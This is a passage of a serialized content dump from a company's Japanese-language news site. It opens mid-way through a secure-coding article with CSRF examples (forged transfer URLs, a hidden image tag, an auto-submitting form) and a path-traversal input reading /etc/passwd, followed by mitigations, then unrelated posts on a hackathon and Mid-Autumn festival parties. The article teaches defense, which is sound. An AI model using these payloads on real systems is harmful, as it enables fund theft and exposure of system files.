http:\u002F\u002Fbank.com\u002Ftransfer?account=user2&amount=1000\n\n",[703,21696,21694],{"__ignoreMap":64},[11,21698,21699],{},"さて、ユーザー3はこのウェブアプリケーションの脆弱性を悪用することを決めて、ユーザー1を犠牲にします。最初に、ユーザー3はユーザー1のアカウントから自分のアカウントに20万ドルを送金するように以下の悪意のあるURLを作成します。ユーザー3は元のコマンドのURLを取得し、受益者の名前を自分に変更し、同時に送金額を著しく増やします。",[696,21701,21704],{"className":21702,"code":21703,"language":701},[699],"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\n",[703,21705,21703],{"__ignoreMap":64},[11,21707,21708],{},"その後、ユーザー3は、被害者にHTML内容を含む望ましくないメールを送信したり、被害者がオンラインバンキングの取引を行っている最中にアクセスする可能性のあるサイトにURLを埋め込んだりします。攻撃用のURLは通常のリンクとして偽装され、被害者にそのリンクをクリックするように促します。",[696,21710,21713],{"className":21711,"code":21712,"language":701},[699],"\u003Ca href=\"http:\u002F\u002Fbank.com\u002Ftransfer.do?acct=user3&amount=200000\">クリックして画像を見る\u003C\u002Fa>\nまたは以下の画像\n\u003Cimg src=\"http:\u002F\u002Fbank.com\u002Ftransfer?account=user3&amount=200000\" width=\"0\" height=\"0\" border=\"0\">\n",[703,21714,21712],{"__ignoreMap":64},[11,21716,21717],{},"もしこの画像タグがメールに含まれていれば、ユーザー1は何も見られていませんが、ブラウザは引き続きbank.comにリクエストを送信し、視覚的な表示がないままお金が送信されてしまいます。",[11,21719,21720],{},[20,21721,21722],{},"その他の場合",[11,21724,21725],{},"銀行が現在 POSTリクエストを使用しており、脆弱なリクエストが次のようになっているとします。",[696,21727,21730],{"className":21728,"code":21729,"language":701},[699],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[703,21731,21729],{"__ignoreMap":64},[11,21733,21734],{},"このようなリクエストは、標準の \u003Ca> タグや \u003Cimg> タグを使用して送信することはできませんが、次のように \u003Cform> タグで送信できます。",[696,21736,21739],{"className":21737,"code":21738,"language":701},[699],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[703,21740,21738],{"__ignoreMap":64},[11,21742,21743],{},"このフォームではユーザーに送信ボタンをクリックするよう求めますが、JavaScript を使用して自動的に実行することもできます。",[696,21745,21748],{"className":21746,"code":21747,"language":701},[699],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[703,21749,21747],{"__ignoreMap":64},[11,21751,21752],{},[20,21753,21593],{},[31,21755,21756,21775],{},[34,21757,21758,21761],{},[20,21759,21760],{},"ユーザー側",[31,21762,21763,21766,21769,21772],{},[34,21764,21765],{},"取引が完了したら、銀行口座、オンライン支払い、ソーシャル ネットワーク、Gmail などの重要な Web サイトからログアウトしたほうがよいです。",[34,21767,21768],{},"電子メールや Facebook などで受信した不明なリンクをクリックしたり、変な電子メールを開いたりしないことです。",[34,21770,21771],{},"ブラウザにパスワード情報を保存しないことです。(「次回ログイン時に自動的に入力する」または「パスワードを保存する」方法を選択しないほうがよいです)。",[34,21773,21774],{},"取引中または重要な Web サイトにアクセスしている間は、他の Web サイトにアクセスしないこと。攻撃者のエクスプロイト コードが含まれている可能性があるからです。",[34,21776,21777,21780],{},[20,21778,21779],{},"サーバー側",[31,21781,21782,21785,21788,21791],{},[34,21783,21784],{},"GETとPOSTを適切に使用する必要があります。データをクエリする場合はGETを使用し、システムに変更をさせる場合はPOSTを使用してください。アプリがRESTfulの標準に従っている場合、PATCH、PUT、DELETEなどのHTTP動詞も使用できます。",[34,21786,21787],{},"Captchaはシステムとやり取りしている主体が人間かどうかを判断するために使用されます。\"ログイン\"、\"振り込む\"、\"支払い\"などの重要な操作では通常Captchaが使用されます。",[34,21789,21790],{},"管理ページに別のCookieを使用します。",[34,21792,21793],{},"IPを検証します。重要なシステムでは、事前に設定されたIPからのアクセスしか許可されません。",[660,21795,21797],{"id":21796},"パストラバーサル",[20,21798,21796],{},[11,21800,21801],{},"パストラバーサルは、攻撃者がウェブのルートディレクトリーの外部に保存されているファイルやディレクトリにアクセスして、望ましくないファイルを読むことができるウェブの脆弱性です。これにより、サーバー上のファイル、ログイン情報やOSの情報などのアプリの機密情報が漏洩する可能性があります。あるケースでは、サーバー上のファイルに書き込むことも可能で、攻撃者はデータを変更したり、サーバーを制御したりすることができるようになることもあります。",[11,21803,10594],{},[11,21805,21806],{},"あるアプリが以下のように画像をロードします。",[696,21808,21811],{"className":21809,"code":21810,"language":701},[699],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[703,21812,21810],{"__ignoreMap":64},[11,21814,21815],{},"filename=image-logo.pngというパラメータを渡して、リクエストを送信すれば、指定ファイルの内容と\u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.pngにある画像ファイルが返却されます。",[11,21817,21818],{},"この場合、アプリケーションはパストラバーサル攻撃を防がないため、攻撃者は任意のリクエストを行い、システム内のファイルを読み取ることができます。",[11,21820,10594],{},[696,21822,21825],{"className":21823,"code":21824,"language":701},[699],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[703,21826,21824],{"__ignoreMap":64},[11,21828,21829],{},"この時、アプリは\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswdというファイルパスのあるファイルを読んで、..\u002Fごとに現在のフォルダーの元フォルダーに戻ります。それで、..\u002F..\u002F..\u002F で\u002Fvar\u002Fwww\u002Fimages\u002Fフォルダーから元フォルダーに戻って、 \u002Fetc\u002Fpasswdファイルは読まれるファイルです。",[11,21831,21832],{},"LinuxのOSでは \u002Fetc\u002Fpasswd\u002Fファイルはユーザーの情報を格納しているファイルです。",[11,21834,21835],{},"\u002Fetc\u002Fpasswd\u002F を読んだ後、以下のように見えます。",[530,21837],{"className":21838,"alt":64,"src":21839,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png",[11,21841,21842],{},"\u002Fetc\u002Fpasswd\u002Fファイル以外、攻撃者はシステムに存在しているほかのファイルやフォルダーを読めるように任意なリクエストを実行することができます。",[11,21844,21845],{},[20,21846,21593],{},[199,21848,21849,21852,21855,21858],{},[34,21850,21851],{},"処理前にユーザー入力を検証することです。",[34,21853,21854],{},"ウェブのルートディレクトリー内に機密な設定ファイルを保存しないことです。",[34,21856,21857],{},"許可された値にホワイトリストを使用して、またはファイル名が普通の文字、数字を使用して、特殊文字を含めないようにすることです。",[34,21859,21860],{},"ファイルに関しては、Amazon S3を使用して保存およびアクセスしてもよいです。",[660,21862,21864],{"id":21863},"idor-脆弱性-insecure-direct-object-references","IDOR 脆弱性 (Insecure Direct Object References)",[11,21866,21867],{},"安全でない直接オブジェクト参照 (IDOR) は、ユーザーが提供したデータを通じて、プログラムにユーザーがデータ、ファイル、フォルダー、データベースなどのリソース に不正にアクセスさせるときに発生する脆弱性です。",[11,21869,10594],{},[11,21871,21872,21873,21878],{},"\"注文管理\"セクションでは、注文のURLは次のようになります: ",[57,21874,21877],{"href":21875,"rel":21876},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1%E3%80%82",[61],"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1。"," サーバーはURLからID = 1を読み取り、その後、データベース内でID = 1の注文を検索し、データをHTMLに注ぎ込みます。それから、ID = 1を別の番号に変更すると、システムは全ての注文を読み取り、表示します（他の顧客の注文も含む）。",[11,21880,21881],{},"ここでの脆弱性は次の通りです。プログラムはURLで提供されたデータ（ID）により、資源（他のユーザーの注文）に不正にアクセスを許可しています。本来ならば、プログラムはそのユーザーがこれらのデータにアクセスする権限を持っているかどうかを確認する必要があります。",[11,21883,21884],{},"実際には、ハッカーはさまざまな手法が使用できます。例えば、URLを変更したり、API内のパラメータを変更したり、セキュリティが確保されていないリソースをスキャンするためにツールを使用したりすることがあります。",[11,21886,21887],{},[20,21888,21593],{},[199,21890,21891,21894,21897],{},[34,21892,21893],{},"ユーザーに厳格な権限を設定することです。",[34,21895,21896],{},"常にアプリケーションを真剣にテストすることです。",[34,21898,21899],{},"ソースコード、設定、データベースキーなどの機密なデータを守るために、アクセスを制限することです。これらのデータへのアクセスを内部IPにのみ許可するのが最も良い方法です。",[495,21901,7231],{"id":7231},[11,21903,21904],{},"セキュアコーディングをアプリに使用することは、安全性とセキュリティを確保するために不可欠な要素です。セキュアコーディングの原則と手法を適用することで、セキュリティホールが初期段階で発生するのを防ぎ、将来のリスクを最小限に抑えるのに役立ちます。ユーザーに信頼性の高い安全なアプリケーションを提供しましょう。",[495,21906,21907],{"id":21907},"参考資料",[11,21909,21910],{},[57,21911,21912],{"href":21912,"rel":21913},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[61],[11,21915,21916],{},[57,21917,21918],{"href":21918,"rel":21919},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[61],[11,21921,21922],{},[57,21923,21924],{"href":21924,"rel":21925},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[61],[11,21927,21928],{},[57,21929,21930],{"href":21930,"rel":21931},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[61],[11,21933,21934],{},[57,21935,21936],{"href":21936,"rel":21937},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[61],[11,21939,21940],{},[57,21941,21942],{"href":21942,"rel":21943},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[61],{"title":64,"searchDepth":65,"depth":65,"links":21945},[21946,21947,21948,21961,21968,21969],{"id":20905,"depth":65,"text":20905},{"id":20914,"depth":65,"text":20915},{"id":20944,"depth":65,"text":20944,"children":21949},[21950,21951,21952,21953,21954,21955,21956,21957,21958,21959,21960],{"id":20947,"depth":1375,"text":20947},{"id":20988,"depth":1375,"text":20988},{"id":21028,"depth":1375,"text":21028},{"id":21099,"depth":1375,"text":21099},{"id":21148,"depth":1375,"text":21148},{"id":21203,"depth":1375,"text":21203},{"id":21275,"depth":1375,"text":21275},{"id":21327,"depth":1375,"text":21327},{"id":21387,"depth":1375,"text":21387},{"id":21439,"depth":1375,"text":21439},{"id":21495,"depth":1375,"text":21495},{"id":21548,"depth":65,"text":21548,"children":21962},[21963,21964,21965,21966,21967],{"id":21551,"depth":1375,"text":21552},{"id":21607,"depth":1375,"text":21608},{"id":21678,"depth":1375,"text":21681},{"id":21796,"depth":1375,"text":21796},{"id":21863,"depth":1375,"text":21864},{"id":7231,"depth":65,"text":7231},{"id":21907,"depth":65,"text":21907},"2025-03-25","セキュアコーディングについての紹介 セキュア コーディングは、アプリケーションを安全に開発することを目的にして、侵入者やハッカーからの攻撃を防ぐために脆弱性を最小限に抑え、安全性の高いソース コードを作成するプロセスです。",{},"\u002Fja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",{"title":20900,"description":21971},"ja\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","2o4590yENFUyeDhUw8sQ59dkUQHz9i2kSqMKMSlxNHU",{"id":21979,"title":21980,"body":21981,"category":67,"created by":5715,"date":22252,"description":21985,"extension":71,"meta":22253,"navigation":73,"path":22254,"sections":75,"seo":22255,"stem":22256,"thumbnail":22257,"__hash__":22258},"content_ja\u002Fja\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023.md","ブリズウェルベトナム、2023 年の第 1 回 ハッカソンイベント",{"type":8,"value":21982,"toc":22239},[21983,21986,21989,22000,22003,22014,22017,22037,22040,22043,22046,22049,22052,22059,22062,22069,22072,22079,22082,22086,22097,22100,22123,22126,22131,22134,22139,22141,22144,22170,22173,22176,22179,22182,22185,22188,22191,22194,22196,22199,22203,22206,22209,22212,22215,22221,22224,22230,22233],[11,21984,21985],{},"ブリズウェルベトナム会社は、社員に新しいサービスを研究して、開発するチャンスを作るためにハッカソンイベントを開催しました。このイベントは 3 週間にわたって開催され、最後の週には、各チームが過去 3 週間の成果についてのプレゼンテーションが行われます。今回のイベント詳細は、以下の通りです。",[495,21987,21988],{"id":21988},"イベントの目的",[31,21990,21991,21994,21997],{},[34,21992,21993],{},"新たなサービスを工夫して、開発できます。",[34,21995,21996],{},"新たなソフトウェアの開発方法を改善して開発します。",[34,21998,21999],{},"メンバーに設計段階やリリース段の参加など会社のプロジェクトに参加する時に達成できていない目標が達成できるように手伝います。",[495,22001,22002],{"id":22002},"イベントのスケジュール",[31,22004,22005,22008,22011],{},[34,22006,22007],{},"2023年02月13日から2023年03月02日まで開催します。",[34,22009,22010],{},"プレゼンテーションは、2023年03月02日で行います。",[34,22012,22013],{},"メンバーは最低限で週に 2 日参加する必要があります。暇な時間が多いメンバーがより多くの参加ができます。",[495,22015,22016],{"id":22016},"イベント要項",[31,22018,22019,22022,22025,22028,22031,22034],{},[34,22020,22021],{},"管理委員会は、イベントの具体的なルールとスケジュールを発行します。",[34,22023,22024],{},"管理委員会は、チームを分割します。",[34,22026,22027],{},"管理委員会は、参加ルール、スケジュール、テーマ、各チームのメンバー等の説明会を開催します。",[34,22029,22030],{},"それから、各チームは、どのような製品を開発して決定するか相談します。決定を出したら、管理委員会に連絡を行います。",[34,22032,22033],{},"プレゼンテーションは、2023年03月02日で行います。（動画やプレゼンテーション資料を事前に準備する必要）",[34,22035,22036],{},"チームの製品に関しての記事を書きます。",[495,22038,22039],{"id":22039},"テーマ",[11,22041,22042],{},"フィットネス・ヘルスケア",[495,22044,22045],{"id":22045},"チームリスト",[11,22047,22048],{},"チームとメンバーのリストは次の通りです。",[11,22050,22051],{},"チーム➀：Calories-showing",[11,22053,22054,22055,22057],{},"メンバー：Nghĩa, Sang, Đạt, Hào, Ngọc（コミュニケーター）",[568,22056],{},[568,22058],{},[11,22060,22061],{},"チーム②：Enjoy-life",[11,22063,22064,22065,22067],{},"メンバー：Hiếu, Duy, Vinh, Hoàng, Trung, Châu（コミュニケーター）",[568,22066],{},[568,22068],{},[11,22070,22071],{},"チーム③：Healthy-healthier",[11,22073,22074,22075,22077],{},"メンバー：Thành, Khánh, Hữu, Khuyên, T.Anh（コミュニケーター）",[568,22076],{},[568,22078],{},[11,22080,22081],{},"サポート者 ：Hải（コミュニケーター）",[495,22083,22085],{"id":22084},"権利賞品","権利・賞品",[31,22087,22088,22091,22094],{},[34,22089,22090],{},"最優秀賞：賞金 200.000 VND\u002F名",[34,22092,22093],{},"優勝チームの商品を商品化します。",[34,22095,22096],{},"製品が利益を生まれる場合、ボーナスがあります。",[495,22098,22099],{"id":22099},"規則",[31,22101,22102,22105,22108,22111,22114,22117,22120],{},[34,22103,22104],{},"このイベントの各プロジェクトは、Redmineで管理します。（社内プロジェクトと同じ）",[34,22106,22107],{},"著作権を保護し、情報の機密を保持する必要があります。",[34,22109,22110],{},"会社が提供したGithub Repositoriesを使います。",[34,22112,22113],{},"チームの製品の中にAI技術やAIサービスを使う必要があります。（テキスト、画像、音声認識等の簡単なAIサービスが使えます）",[34,22115,22116],{},"有料サービスを使用すれば、管理委員会の同意が必要です。無料サービスの使用を優先します。 (有料サービスを使用する場合、具体的な費用のリストを作成する必要があります。会社側は、各チームに月額最大 1.000.000 VND を支払います)",[34,22118,22119],{},"各チームは朝会を行います。（カレンダーにミーティングを作ることを忘れないでください）",[34,22121,22122],{},"UIについては、英語でいいです。",[495,22124,22125],{"id":22125},"評価結果",[31,22127,22128],{},[34,22129,22130],{},"優勝チームの結果は、ブリズウェルベトナム会社及びブリズウェル日本会社の全員の投票によって決定されます。",[495,22132,22133],{"id":22133},"製品決定",[31,22135,22136],{},[34,22137,22138],{},"製品開発を行う前に、各チームは、チームが作成する製品、使用する AI サービス、およびチームの製品とサービスを実装する方法を決定しなければなりません。その後、管理委員会に通知して、正式にデザインとコーディングを行う前に同意を得る必要があります。",[495,22140,11108],{"id":11108},[11,22142,22143],{},"計画書の通りに、プレゼンテーションは、2023年03月02日で行います。各チームは、製品について紹介します。又、以下のようにプレゼンテーション 資料を作成します。",[31,22145,22146,22149,22152,22155,22158,22161,22164,22167],{},[34,22147,22148],{},"サービスの魅力・内容について説明します。（アプリケーションデモの実行と同時に説明）",[34,22150,22151],{},"アプリケーションの使用技術や開発方法について説明します。",[34,22153,22154],{},"どのサービスやどのツールやどのライブラリを使用しているか記載します。（ライセンス認証や使用の目的も含める）",[34,22156,22157],{},"製品の機能や製品の長所を出します。",[34,22159,22160],{},"各メンバーや各メンバーの役割を紹介します。",[34,22162,22163],{},"使用しているAIサービス及びAIサービスの目的を説明します。",[34,22165,22166],{},"今回の開発の未完成の機能を説明します。または、将来追加される機能を出す。",[34,22168,22169],{},"その他",[11,22171,22172],{},"プレゼンテーションのスケジュール",[11,22174,22175],{},"3時 ～ 3時05分：管理委員会の発表",[11,22177,22178],{},"3時05分～3時30分：Enjoy-Lifeチームのプレゼンテーション",[11,22180,22181],{},"3時30分～3時35分：休憩",[11,22183,22184],{},"3時35分～4時：Calories-Showingチームのプレゼンテーション",[11,22186,22187],{},"4時～4時05分：休憩",[11,22189,22190],{},"4時05分～4時30分：Healthy-Healthier チームのプレゼンテーション",[11,22192,22193],{},"4時30分～5時：皆様へ投票リンクの送信",[495,22195,803],{"id":803},[11,22197,22198],{},"投票期間は、3月2日から3月8日まで。投票結果は以下の通りです。",[530,22200],{"className":22201,"alt":64,"src":22202,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22152722\u002FScreenshot-2023-03-22-151942-768x333.png",[11,22204,22205],{},"投票結果によって、二つチームの票が同じです。優勝チームを選ぶために、プレゼンテーションや仕事での協調やチームワーク等の他の基準を元に優勝チームを決定にしました。 ハッカソン 202302 の最終優勝チームは、Enjoy Life - Ingredient Checker products と決定しました。 同時にチームの製品に対して力を尽くした残りの各チームも祝います。",[11,22207,22208],{},"ハッカソンイベントを初めて開催したので、まだまだミスが多いですが、管理委員会側にも、皆様から次回に向けて改善するための多くのコメントをいただき、参加者の皆様には感謝をさせます。",[11,22210,22211],{},"以下は、各チームが開発した製品についての記事です。",[11,22213,22214],{},"Calorie Showing チーム - Calorie Showing 製品",[11,22216,22217],{},[57,22218,22220],{"href":22219},"\u002Fja\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F",[11,22222,22223],{},"Enjoy Life チーム - Ingredient Checker 製品",[11,22225,22226],{},[57,22227,22229],{"href":22228},"\u002Fja\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F",[11,22231,22232],{},"Heathy Healthier チーム - Easy Medicine 製品",[11,22234,22235],{},[57,22236,22238],{"href":22237},"\u002Fja\u002Fnews\u002Fhackathon-team3\u002F","https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fhackathon-team3\u002F",{"title":64,"searchDepth":65,"depth":65,"links":22240},[22241,22242,22243,22244,22245,22246,22247,22248,22249,22250,22251],{"id":21988,"depth":65,"text":21988},{"id":22002,"depth":65,"text":22002},{"id":22016,"depth":65,"text":22016},{"id":22039,"depth":65,"text":22039},{"id":22045,"depth":65,"text":22045},{"id":22084,"depth":65,"text":22085},{"id":22099,"depth":65,"text":22099},{"id":22125,"depth":65,"text":22125},{"id":22133,"depth":65,"text":22133},{"id":11108,"depth":65,"text":11108},{"id":803,"depth":65,"text":803},"2023-03-30",{},"\u002Fja\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023",{"title":21980,"description":21985},"ja\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22213033\u002F336352687_129229636774710_4526858656474541242_n.png","vZJWioUfk1ueB8VP2CeSjBNbOWcKuOZWnwB6PMS8L4g",{"id":22260,"title":22261,"body":22262,"category":2844,"created by":68,"date":22310,"description":22311,"extension":71,"meta":22312,"navigation":73,"path":22313,"sections":75,"seo":22314,"stem":22315,"thumbnail":22316,"__hash__":22317},"content_ja\u002Fja\u002Fnews\u002Ftet-trung-thu-nam-2021.md","2021年の中秋節",{"type":8,"value":22263,"toc":22308},[22264,22267,22270,22273,22276,22279,22282,22285,22288,22291,22295,22298,22302,22305],[11,22265,22266],{},"「ニューノーマル」生活はブリスウェルベトナムで始まります。",[11,22268,22269],{},"現在の状況は順調に進んでおり、ホーチミン市内における新型コロナワクチン接種スピードを加速しており、一部経済活動の再開の計画も進められております。",[11,22271,22272],{},"それでも、流行は依然として非常に困難な状況を招いており、社会封鎖は必要なことになっております。",[11,22274,22275],{},"現在の経済情勢で事業を継続できるようにするには、多くの大中小企業が働き方を変えなければならず、オフィスへ出社せずに、自宅で業務を行います。",[11,22277,22278],{},"ブリスウェルベトナムも例外ではありません。",[11,22280,22281],{},"社会距離が私たちを引き離さないように、",[11,22283,22284],{},"地理的な距離で会社のメンバーを分離さないように、",[11,22286,22287],{},"全員に対する会社からの心配りを邪魔されないように、",[11,22289,22290],{},"今年の9月には、暖かく感情を込めた月餅を全員に届けました。",[530,22292],{"className":22293,"alt":64,"src":22294,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20115941\u002FImage-from-iOS-1-scaled.jpg",[11,22296,22297],{},"みんながこの小さな贈り物を暖かく感じて、家族とともに意味のある中秋節を楽しむことを願っています。",[530,22299],{"className":22300,"alt":64,"src":22301,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20120012\u002FIMG20210920093414-scaled.jpg",[11,22303,22304],{},"「うちにいよう、健康でいよう」。",[11,22306,22307],{},"困難にもかかわらず、一緒に楽しさと経験に満ちた新しい旅を始めましょう。",{"title":64,"searchDepth":65,"depth":65,"links":22309},[],"2021-09-20","「ニューノーマル」生活はブリスウェルベトナムで始まります。現在の状況は順調に進んでおり、ホーチミン市内における新型コロナワクチン接種スピードを加速しており、一部経済活動の再開の計画も進められております。それでも、流行は依然として非常に困難な状況を招いており、社会封鎖は必要なことになっております。",{},"\u002Fja\u002Fnews\u002Ftet-trung-thu-nam-2021",{"title":22261,"description":22311},"ja\u002Fnews\u002Ftet-trung-thu-nam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20125027\u002Ftetrungthu.png","wWjesT0GchRp1xmxAlrF09Fv_8VxQRTP0CBc6b5320k",{"id":22319,"title":22320,"body":22321,"category":2844,"created by":5928,"date":22414,"description":22415,"extension":71,"meta":22416,"navigation":73,"path":22417,"sections":75,"seo":22418,"stem":22419,"thumbnail":22420,"__hash__":22421},"content_ja\u002Fja\u002Fnews\u002Ftet-trung-thu-nam-2025.md","2025年中秋節",{"type":8,"value":22322,"toc":22412},[22323,22326,22329,22343,22351,22355,22358,22369,22380,22383,22387,22391,22394,22406,22409],[11,22324,22325],{},"団欒節と呼ばれる中秋節がやってきました。ブリスウェルベトナムでは、全社員のために温かいミニパーティーを開催しました。",[11,22327,22328],{},"賑やかな雰囲気の中、平安の願いを込められた月餅が全員へ贈られました。",[11,22330,22331,22335,22337,22341],{},[530,22332],{"className":22333,"alt":64,"src":22334,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06132925\u002FIMG_7934-768x576.jpg",[568,22336],{},[530,22338],{"className":22339,"alt":64,"src":22340,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133018\u002FIMG_7936-768x943.jpg",[568,22342],{},[11,22344,22345,22349],{},[530,22346],{"className":22347,"alt":64,"src":22348,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133113\u002FIMG_7940-768x1207.jpg",[568,22350],{},[530,22352],{"className":22353,"alt":64,"src":22354,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133203\u002FIMG_7944-768x700.jpg",[11,22356,22357],{},"パーティーでは、月餅、果物、ドリンクを楽しみながら、和やかな雰囲気で過ごすことができました。",[854,22359,6338,22361,6338,22365],{"className":22360,"style":9002},[9067],[530,22362],{"className":22363,"alt":64,"src":22364,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134742\u002FIMG_7958-1-768x1024.jpg",[530,22366],{"className":22367,"alt":64,"src":22368,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133153\u002FIMG_7942-768x1024.jpg",[854,22370,6338,22372,6338,22376],{"className":22371,"style":9002},[9001],[530,22373],{"className":22374,"alt":64,"src":22375,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134729\u002FIMG_7945-768x1024.jpg",[530,22377],{"className":22378,"alt":64,"src":22379,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133246\u002FIMG_7947-768x1024.jpg",[11,22381,22382],{},"さらに、ミニゲームも行いました。イベントは参加者の笑顔と歓声で大いに盛り上がりました。",[530,22384],{"className":22385,"alt":64,"src":22386,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134753\u002FIMG_7963-1-768x576.jpg",[530,22388],{"className":22389,"alt":64,"src":22390,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134758\u002FIMG_7964-1-768x576.jpg",[11,22392,22393],{},"プレゼントはゲームで勝利したチームに贈られました。小さな贈り物ではありますが、大きな喜びをもたらし、チームの結束を高めました。",[11,22395,22396,22400,22402],{},[530,22397],{"className":22398,"alt":64,"src":22399,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133038\u002FIMG_7938-768x576.jpg",[568,22401],{},[530,22403],{"className":22404,"alt":64,"src":22405,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134804\u002FIMG_7969-1-768x576.jpg",[11,22407,22408],{},"最後には社員全員で記念写真を撮り、イベントは大盛況のうちに幕を閉じました。",[11,22410,22411],{},"今年の中秋節もブリスウェルベトナム全員の美しい思い出となりました。",{"title":64,"searchDepth":65,"depth":65,"links":22413},[],"2025-10-06","団欒節と呼ばれる中秋節がやってきました。ブリスウェルベトナムでは、全社員のために温かいミニパーティーを開催しました。 賑やかな雰囲気の中、平安の願いを込められた月餅が全員へ贈られました。",{},"\u002Fja\u002Fnews\u002Ftet-trung-thu-nam-2025",{"title":22320,"description":22415},"ja\u002Fnews\u002Ftet-trung-thu-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06145019\u002FBlue-Illustrations-Mid-Autumn-Festival-Instagram-Post.png","LvF7IGB02FLab5vJxOK3lnR21GQv0YTeTOc1RUjbKEc",{"id":22423,"title":22424,"body":22425,"category":67,"created 